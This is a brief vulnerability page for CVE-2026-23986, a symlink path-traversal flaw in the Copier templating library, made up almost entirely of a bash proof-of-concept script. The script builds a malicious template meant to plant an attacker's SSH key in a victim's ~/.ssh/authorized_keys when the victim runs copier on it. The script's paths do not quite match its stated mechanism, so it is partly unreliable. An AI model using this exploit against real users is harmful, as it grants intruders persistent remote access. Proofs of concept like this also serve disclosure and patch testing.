CVE-2026-23986 Copier库符号链接路径遍历任意文件写入漏洞

#!/bin/bash # CVE-2026-23986 PoC - Malicious Template Creation # This demonstrates the path traversal via symlink vulnerability # Create malicious template structure mkdir -p malicious_template/{{_copier}}/.ssh # Create symlink to arbitrary directory ln -sf /home/victim/.ssh malicious_template/.ssh_link # Create template configuration with _preserve_symlinks cat > malicious_template/copier.yml << 'EOF' _preserve_symlinks: true EOF # Create file that will be written through symlink cat > malicious_template/.ssh/authorized_keys << 'EOF' ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC... attacker_key EOF # Create template source file cat > malicious_template/README.txt << 'EOF' Welcome to the template EOF # Attacker hosts this template # When victim runs: copier <attacker_template_url> target_dir # Files will be written to /home/victim/.ssh/authorized_keys instead of target_dir